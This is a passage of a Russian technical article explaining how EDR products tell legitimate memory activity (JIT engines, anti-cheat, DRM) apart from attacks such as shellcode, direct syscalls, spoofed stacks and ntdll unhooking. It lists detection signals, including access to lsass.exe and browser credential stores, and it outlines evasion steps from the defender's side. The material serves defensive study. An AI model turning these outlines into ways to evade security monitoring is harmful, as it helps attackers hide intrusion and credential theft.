\u043d\u0451\u043c \u043d\u0435 \u0437\u043d\u0430\u0435\u0442.\u201d\n4.3. \u0418\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0440\u0435\u0433\u0438\u043e\u043d \u0431\u0435\u0437 backing file\n\u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u043a\u0430\u0440\u0442\u0430:\n\nMEM_PRIVATE\nPAGE_EXECUTE_READ / PAGE_EXECUTE_READWRITE\nno file object\nno signature\nno PE metadata\nhigh entropy\nrecently written\nthread starts inside it\n\u0422\u0430\u043a\u043e\u0439 \u0440\u0435\u0433\u0438\u043e\u043d \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c:\n\nJIT code\nshellcode\nunpacked payload\ndecompressed code\nDRM VM\nanti-cheat stub\n\u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u0430\u043b\u044c\u0448\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u043d\u044b\u0439 \u0441\u043a\u043e\u0440\u0438\u043d\u0433.\n\n5. JIT-\u043a\u043e\u0434: \u043f\u043e\u0447\u0435\u043c\u0443 \u043e\u043d \u0448\u0443\u043c\u0438\u0442 \u0438 \u043a\u0430\u043a EDR \u0435\u0433\u043e \u043d\u0435 \u043f\u0443\u0442\u0430\u0435\u0442 \u0441\u043e \u0432\u0441\u0435\u043c \u043f\u043e\u0434\u0440\u044f\u0434\nJIT \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043b\u043e\u043c\u0430\u0435\u0442 \u043f\u0440\u043e\u0441\u0442\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430. V8, Chakra, .NET CLR, JVM, WebAssembly runtime, regex JIT \u0438 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0433\u0440\u043e\u0432\u044b\u0435 \u0434\u0432\u0438\u0436\u043a\u0438 \u0441\u043e\u0437\u0434\u0430\u044e\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u0434 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438.\n\n\u0422\u0438\u043f\u0438\u0447\u043d\u0430\u044f JIT-\u043a\u0430\u0440\u0442\u0438\u043d\u0430:\n\nMEM_PRIVATE\nRW \u2192 RX transitions\nsometimes RWX\nno backing PE file\nexecution from heap-like regions\nfrequent code generation\n\u041d\u0430\u0438\u0432\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u201cMEM_PRIVATE + RX = malware\u201d \u0443\u043c\u0435\u0440\u043b\u043e \u0431\u044b \u043d\u0430 \u043f\u0435\u0440\u0432\u043e\u043c \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435.\n\n5.1. \u041a\u0430\u043a EDR \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0451\u0442 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 JIT-\u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\n\u041e\u043d \u0441\u043c\u043e\u0442\u0440\u0438\u0442 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0440\u0435\u0433\u0438\u043e\u043d, \u0430 \u043d\u0430 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u0438 \u0438\u0441\u0442\u043e\u0440\u0438\u044e.\n\n\u041f\u0440\u043e\u0446\u0435\u0441\u0441\u043d\u0430\u044f \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c\nchrome.exe / msedge.exe / firefox.exe\nnode.exe\ndotnet.exe\njava.exe\npowershell.exe with CLR loaded\ngame process with known anti-cheat\n\u0417\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 runtime-\u043c\u043e\u0434\u0443\u043b\u0438\n\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440:\n\nv8.dll\nchakra.dll\nclr.dll\ncoreclr.dll\njvm.dll\nwasmtime / wasm runtime\n\u041f\u0430\u0442\u0442\u0435\u0440\u043d \u0430\u043b\u043b\u043e\u043a\u0430\u0446\u0438\u0439\n\u041b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 JIT \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u043c\u0435\u0435\u0442 \u0443\u0437\u043d\u0430\u0432\u0430\u0435\u043c\u0443\u044e \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c:\n\nallocate code heap\nwrite generated code\nchange protection RW \u2192 RX\nexecute\nperiodically recycle / compact\n\u0423 \u0437\u0440\u0435\u043b\u044b\u0445 runtime \u0435\u0441\u0442\u044c \u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u044b\u0435 \u0441\u0445\u0435\u043c\u044b code heap management. EDR \u043c\u043e\u0436\u0435\u0442 \u0441\u0442\u0440\u043e\u0438\u0442\u044c baseline \u043f\u043e:\n\n\u0440\u0430\u0437\u043c\u0435\u0440\u0443 \u0440\u0435\u0433\u0438\u043e\u043d\u043e\u0432\n\u0447\u0430\u0441\u0442\u043e\u0442\u0435 transitions\n\u043c\u043e\u0434\u0443\u043b\u044f\u043c-\u0438\u043d\u0438\u0446\u0438\u0430\u0442\u043e\u0440\u0430\u043c\n\u043f\u043e\u0442\u043e\u043a\u0430\u043c-\u0438\u043d\u0438\u0446\u0438\u0430\u0442\u043e\u0440\u0430\u043c\n\u0442\u0438\u043f\u0438\u0447\u043d\u044b\u043c call stacks\n\u043d\u0430\u043b\u0438\u0447\u0438\u044e runtime metadata\n5.2. \u0427\u0442\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442 suspicious JIT-like \u0440\u0435\u0433\u0438\u043e\u043d\n\u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u0435\u0441\u043b\u0438:\n\n\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 JIT runtime\n\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 RX/RWX MEM_PRIVATE\n\u0438\u043b\u0438:\n\nJIT \u0435\u0441\u0442\u044c,\n\u043d\u043e sensitive action \u0438\u0434\u0451\u0442 \u043d\u0435 \u0438\u0437 JIT runtime path,\n\u0430 \u0438\u0437 \u0441\u0442\u0440\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u0433\u043e \u0440\u0435\u0433\u0438\u043e\u043d\u0430\n\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, EDR \u0432\u0438\u0434\u0438\u0442:\n\nwinword.exe\n \u251c\u2500\u2500 loads no known JIT runtime\n \u251c\u2500\u2500 allocates MEM_PRIVATE RWX\n \u251c\u2500\u2500 writes high-entropy bytes\n \u251c\u2500\u2500 starts thread in that region\n \u2514\u2500\u2500 opens lsass.exe / injects into another process\n\u042d\u0442\u043e \u0443\u0436\u0435 \u043d\u0435 \u201c\u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 JIT-\u0448\u0443\u043c\u201d. \u042d\u0442\u043e \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0447\u0435\u0441\u043a\u0430\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430.\n\n6. \u0410\u043d\u0442\u0438\u0447\u0438\u0442\u044b, DRM \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0448\u0443\u043c\n\u0410\u043d\u0442\u0438\u0447\u0438\u0442\u044b \u0438 DRM \u2014 \u043e\u0441\u043e\u0431\u0430\u044f \u0431\u043e\u043b\u044c, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043e\u043d\u0438 \u0441\u0430\u043c\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0442\u0435\u0445\u043d\u0438\u043a\u0438, \u043f\u043e\u0445\u043e\u0436\u0438\u0435 \u043d\u0430 EDR \u0438\u043b\u0438 malware:\n\nuser-mode hooks\nkernel callbacks\nhandle filtering\ncode integrity checks\npacked modules\nanti-debug\nmanual mappings\nguarded memory\nthread monitoring\n\u041f\u043e\u044d\u0442\u043e\u043c\u0443 EDR \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0442\u0443\u043f\u043e \u0441\u043a\u0430\u0437\u0430\u0442\u044c:\n\n\u201chooking == bad\u201d\n\u041e\u043d \u0441\u043c\u043e\u0442\u0440\u0438\u0442 \u043d\u0430 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0438 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442.\n\n6.1. \u041a\u0430\u043a \u043e\u0442\u043b\u0438\u0447\u0430\u044e\u0442 \u0430\u043d\u0442\u0438\u0447\u0438\u0442 \u043e\u0442 \u0430\u0442\u0430\u043a\u0438\n\u041f\u043e\u0434\u043f\u0438\u0441\u044c \u0438 \u0440\u0435\u043f\u0443\u0442\u0430\u0446\u0438\u044f\nsigned driver\nknown vendor\nknown certificate chain\nknown file hash\nknown product path\nknown service registration\n\u0416\u0438\u0437\u043d\u0435\u043d\u043d\u044b\u0439 \u0446\u0438\u043a\u043b\n\u0410\u043d\u0442\u0438\u0447\u0438\u0442 \u043e\u0431\u044b\u0447\u043d\u043e:\n\nstarts with game launcher\nloads known driver/service\ninjects/monitors known game processes\ncommunicates with known backend\nuses stable named objects/devices\n\u0410\u0442\u0430\u043a\u0430 \u0447\u0430\u0441\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0438\u043d\u0430\u0447\u0435:\n\nlow-prevalence process\nodd parent chain\ntemporary path\nunsigned/untrusted module\nunexpected target process\npost-exploitation sequence\n\u0426\u0435\u043b\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439\n\u0410\u043d\u0442\u0438\u0447\u0438\u0442 \u043e\u0431\u044b\u0447\u043d\u043e \u0442\u0440\u043e\u0433\u0430\u0435\u0442:\n\ngame process\ngraphics/input stack\nknown protected service\nits own ecosystem\n\u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u0435\u0441\u043b\u0438 \u043f\u043e\u0445\u043e\u0436\u0438\u0435 \u0442\u0435\u0445\u043d\u0438\u043a\u0438 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u043d\u0430:\n\nbrowser credential stores\nlsass.exe\nsecurity tools\noffice child processes\ndomain tooling\nremote process memory\n7. Direct Syscalls: \u043a\u0430\u043a \u044d\u0442\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u043e \u0441 PEB/VAD/\u0441\u0442\u0435\u043a\u043e\u043c\n\u041a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0438\u0434\u0435\u044f EDR:\n\nsensitive kernel event happened\n\u2192 reconstruct user-mode origin\n\u2192 verify expected call chain\n\u041e\u0436\u0438\u0434\u0430\u0435\u043c\u0430\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430:\n\napplication module\n \u2192 kernelbase.dll / advapi32.dll / user32.dll\n \u2192 ntdll.dll!NtXxx\n \u2192 syscall\n \u2192 kernel\n\u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430:\n\napplication module\n \u2192 MEM_PRIVATE RX\n \u2192 syscall\n \u2192 kernel\n\u0438\u043b\u0438:\n\napplication module\n \u2192 manually mapped module\n \u2192 syscall\n \u2192 kernel\n\u0413\u043b\u0430\u0432\u043d\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b EDR:\n\n\u0413\u0434\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0430\u0434\u0440\u0435\u0441 syscall instruction?\n\u0413\u0434\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f return address?\n\u0412 \u043a\u0430\u043a\u043e\u043c VAD-\u0440\u0435\u0433\u0438\u043e\u043d\u0435 \u044d\u0442\u043e\u0442 \u0430\u0434\u0440\u0435\u0441?\n\u0415\u0441\u0442\u044c \u043b\u0438 \u044d\u0442\u043e\u0442 \u0440\u0435\u0433\u0438\u043e\u043d \u0432 PEB?\n\u0415\u0441\u0442\u044c \u043b\u0438 \u0443 \u0440\u0435\u0433\u0438\u043e\u043d\u0430 backing file?\n\u0415\u0441\u0442\u044c \u043b\u0438 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u0430\u044f PE/unwind metadata?\n\u0415\u0441\u0442\u044c \u043b\u0438 image-load event?\n\u0415\u0441\u0442\u044c \u043b\u0438 user-mode hook telemetry?\n8. \u0410\u043d\u043e\u043c\u0430\u043b\u0438\u0438 stack walking\nStack walking \u0432 EDR \u2014 \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u201c\u0432\u044b\u0432\u0435\u0441\u0442\u0438 backtrace\u201d. \u042d\u0442\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f.\n\n8.1. \u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u0433\u043e ntdll frame\n\u0414\u043b\u044f sensitive syscall \u043e\u0436\u0438\u0434\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0440\u044f\u0434\u043e\u043c \u0441 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u043c \u0432 \u044f\u0434\u0440\u043e \u0435\u0441\u0442\u044c:\n\nntdll.dll!NtXxx\n\u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e:\n\nkernel event \u0435\u0441\u0442\u044c,\n\u0430 frame \u0438\u0437 ntdll \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442\n\u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0435\u0441\u043b\u0438 syscall origin \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0432:\n\nMEM_PRIVATE RX/RWX\nmanual-mapped module\nunknown executable region\nmodule not in PEB\n8.2. Return address \u0432\u043d\u0435 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0433\u043e image-backed \u043a\u043e\u0434\u0430\nEDR \u0440\u0435\u0437\u043e\u043b\u0432\u0438\u0442 \u043a\u0430\u0436\u0434\u044b\u0439 return address:\n\nreturn address\n \u2192 VAD region\n \u2192 region type\n \u2192 module ownership\n \u2192 protection\n \u2192 backing file\n \u2192 signature\n\u0421\u0438\u043b\u044c\u043d\u044b\u0435 \u0441\u0438\u0433\u043d\u0430\u043b\u044b:\n\nreturn address \u2208 MEM_PRIVATE executable\nreturn address \u2208 MEM_MAPPED but not loader module\nreturn address \u2208 page with recent write\nreturn address \u2208 region without PE headers\nreturn address \u2208 region with high entropy\n8.3. \u041d\u0435\u0432\u0430\u043b\u0438\u0434\u043d\u0430\u044f x64 unwind-\u0446\u0435\u043f\u043e\u0447\u043a\u0430\n\u041d\u0430 x64 Windows \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0439 unwind relies on:\n\n.pdata \u2192 RUNTIME_FUNCTION\n.xdata \u2192 UNWIND_INFO\n\u0414\u043b\u044f \u043d\u0435\u043b\u0438\u0441\u0442\u043e\u0432\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0434\u043e\u043b\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435:\n\n\u0433\u0434\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u044b nonvolatile registers\n\u043a\u0430\u043a \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0441\u044f RSP\n\u043a\u0430\u043a\u043e\u0439 \u0440\u0430\u0437\u043c\u0435\u0440 stack allocation\n\u0435\u0441\u0442\u044c \u043b\u0438 chained unwind info\nEDR \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c:\n\n\u0430\u0434\u0440\u0435\u0441 frame \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0438\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0441 \u0432\u0430\u043b\u0438\u0434\u043d\u044b\u043c RUNTIME_FUNCTION\nUNWIND_INFO \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043a\u043e\u0434\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u0438\nprologue/epilogue \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\nRSP \u043f\u043e\u0441\u043b\u0435 unwind \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0432 \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0441\u0442\u0435\u043a\u0430 \u043f\u043e\u0442\u043e\u043a\u0430\nreturn address \u043f\u043e\u0445\u043e\u0436 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 call-site\n\u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e:\n\nframe points to code without unwind metadata\nunwind produces impossible RSP\nreturn address lands in middle of instruction\nreturn address lands after jmp/call-inconsistent site\nsaved registers do not match unwind description\nstack pointer leaves TEB stack bounds\n8.4. Stack pivot\nStack pivot \u2014 \u044d\u0442\u043e \u043a\u043e\u0433\u0434\u0430 RSP \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0435 \u0442\u0443\u0434\u0430, \u043a\u0443\u0434\u0430 \u0434\u043e\u043b\u0436\u0435\u043d.\n\n\u0423 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043f\u043e\u0442\u043e\u043a\u0430 \u0435\u0441\u0442\u044c \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0441\u0442\u0435\u043a\u0430 \u0432 TEB:\n\nTEB.StackBase\nTEB.StackLimit\n\u041d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e:\n\nStackLimit < RSP < StackBase\n\u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e:\n\nRSP points to heap\nRSP points to MEM_PRIVATE controlled buffer\nRSP points to mapped file\nRSP outside TEB stack bounds\nRSP near executable payload region\n\u0415\u0441\u043b\u0438 sensitive syscall \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043f\u0440\u0438 \u0442\u0430\u043a\u043e\u043c RSP \u2014 \u044d\u0442\u043e \u0441\u0438\u043b\u044c\u043d\u044b\u0439 \u0441\u0438\u0433\u043d\u0430\u043b.\n\n8.5. \u0421\u043b\u0438\u0448\u043a\u043e\u043c \u043a\u043e\u0440\u043e\u0442\u043a\u0438\u0439 \u0438\u043b\u0438 \u201c\u0438\u0434\u0435\u0430\u043b\u044c\u043d\u044b\u0439\u201d \u0441\u0442\u0435\u043a\n\u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0434\u0434\u0435\u043b\u043a\u0438 \u0434\u0430\u044e\u0442 \u0441\u0442\u0435\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e \u0432\u0430\u043b\u0438\u0434\u0435\u043d, \u043d\u043e \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0441\u0442\u0440\u0430\u043d\u043d\u044b\u0439.\n\n\u041f\u0440\u0438\u0437\u043d\u0430\u043a\u0438:\n\n\u043e\u0447\u0435\u043d\u044c \u043c\u0430\u043b\u043e frames \u043f\u0435\u0440\u0435\u0434 sensitive action\n\u043d\u0435\u0442 \u043e\u0431\u044b\u0447\u043d\u044b\u0445 runtime frames\n\u043d\u0435\u0442 kernelbase/ntdll \u043f\u0440\u0438 WinAPI-\u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438\n\u043f\u043e\u0432\u0442\u043e\u0440\u044f\u044e\u0449\u0438\u0435\u0441\u044f \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0435 frames\nframes \u0438\u0437 \u043c\u043e\u0434\u0443\u043b\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0434\u043e\u043b\u0436\u043d\u044b \u0443\u0447\u0430\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c\n\u0440\u0435\u0437\u043a\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434 app \u2192 ntdll \u0431\u0435\u0437 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u043e\u0433\u043e \u0441\u043b\u043e\u044f\nEDR \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0435\u0442 \u044d\u0442\u043e \u0441 baseline \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438.\n\n8.6. \u041d\u0435\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 call-site\nReturn address \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0443\u0434\u0430, \u043a\u0443\u0434\u0430 \u0432\u0435\u0440\u043d\u0443\u043b\u0441\u044f \u0431\u044b \u043e\u0431\u044b\u0447\u043d\u044b\u0439 call.\n\n\u0423\u0441\u043b\u043e\u0432\u043d\u043e:\n\ncall target\nreturn address = instruction after call\n\u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e:\n\nreturn address \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435 jmp, ret, nop sled\nreturn address \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u043d\u0443\u0442\u0440\u044c gadget sequence\nreturn address \u043d\u0435 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043f\u0440\u0435\u0434\u0448\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 call instruction\nreturn address \u0432 \u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438\n\u042d\u0442\u043e \u043f\u043e\u043c\u043e\u0433\u0430\u0435\u0442 \u043b\u043e\u0432\u0438\u0442\u044c ROP-like \u0438 spoofed-stack \u0446\u0435\u043f\u043e\u0447\u043a\u0438.\n\n9. Unhooking: \u043a\u0430\u043a \u043f\u0430\u043b\u0438\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u043c\u044f\u0442\u044c \u0438 \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u044e\nUnhooking \u043e\u0431\u044b\u0447\u043d\u043e \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c:\n\nobtain clean bytes\nmake target .text writable\ncopy bytes into loaded ntdll\nrestore protection\ncontinue sensitive syscalls\nEDR \u0441\u043c\u043e\u0442\u0440\u0438\u0442 \u043d\u0430 \u043a\u0430\u0436\u0434\u044b\u0439 \u044d\u043b\u0435\u043c\u0435\u043d\u0442.\n\n9.1. \u0414\u043e\u0441\u0442\u0443\u043f \u043a \u0447\u0438\u0441\u0442\u043e\u0439 ntdll\n\u0421\u0438\u0433\u043d\u0430\u043b\u044b:\n\nopen/read/map \\SystemRoot\\System32\\ntdll.dll\nmap second copy of ntdll.dll\ncreate section from known DLL\nread PE sections manually\n\u0421\u0430\u043c\u043e \u043f\u043e \u0441\u0435\u0431\u0435 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e. \u041d\u043e \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0435 \u2014 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e.\n\n9.2. Protection change \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0439 DLL\n\u0421\u0438\u043b\u044c\u043d\u044b\u0439 \u0441\u0438\u0433\u043d\u0430\u043b:\n\nNtProtectVirtualMemory\ntarget range \u2208 ntdll.dll .text\nnew protection includes WRITE\n\u041d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u0430\u044f .text:\n\nPAGE_EXECUTE_READ\n\u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f:\n\nPAGE_EXECUTE_READ \u2192 PAGE_EXECUTE_READWRITE\n\u0438\u043b\u0438 writable copy-on-write pattern \u043d\u0430 \u043a\u043e\u0434\u043e\u0432\u043e\u0439 \u0441\u0435\u043a\u0446\u0438\u0438.\n\n9.3. \u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0431\u0430\u0439\u0442\u043e\u0432 .text\nEDR \u043c\u043e\u0436\u0435\u0442 \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0442\u044c:\n\nloaded ntdll .text\nvs expected clean OS image\nvs expected EDR-hooked state\nvs baseline for this process\n\u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b \u043e\u0431\u0430 \u0441\u043b\u0443\u0447\u0430\u044f:\n\n\u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u043f\u0430\u0442\u0447\u0438\n\u0438\u0441\u0447\u0435\u0437\u043b\u0438 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0435 EDR hooks\n\u0414\u043b\u044f EDR \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e trampoline \u2014 \u044d\u0442\u043e tamper.\n\n9.4. \u041f\u0430\u0434\u0435\u043d\u0438\u0435 user-mode telemetry \u043f\u043e\u0441\u043b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f\n\u0421\u0430\u043c\u043e\u0435 \u0441\u0438\u043b\u044c\u043d\u043e\u0435 \u2014 \u043d\u0435 \u0441\u0430\u043c unhooking, \u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f:\n\n\u0434\u043e:\n  sensitive API calls visible through hooks\n\n\u043f\u043e\u0441\u043b\u0435:\n  same class of kernel events still happens\n  but user-mode hook telemetry disappears\n\u042d\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a:\n\nmodule integrity changed\n+\nsensor visibility degraded\n+\nsensitive operations continue\n\u0414\u043b\u044f EDR \u044d\u0442\u043e \u043f\u043e\u0447\u0442\u0438 textbook tamper chain.\n\n10. \u041a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0430 \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043f\u0430\u043c\u044f\u0442\u0438 \u043e\u0442 \u0430\u0442\u0430\u043a\n10.1. \u041d\u0435 \u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0443\n\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440:\n\nRWX memory\n\u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c:\n\nJIT\nemulator\nbrowser engine\ngame DRM\npacker\nmalware\n\u041f\u043e\u044d\u0442\u043e\u043c\u0443 EDR \u0441\u043c\u043e\u0442\u0440\u0438\u0442 \u043d\u0430 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442:\n\n\u043a\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u043b \u0440\u0435\u0433\u0438\u043e\u043d\n\u043a\u043e\u0433\u0434\u0430\n\u043a\u0430\u043a\u0438\u043c call stack\n\u043a\u0430\u043a\u043e\u0433\u043e 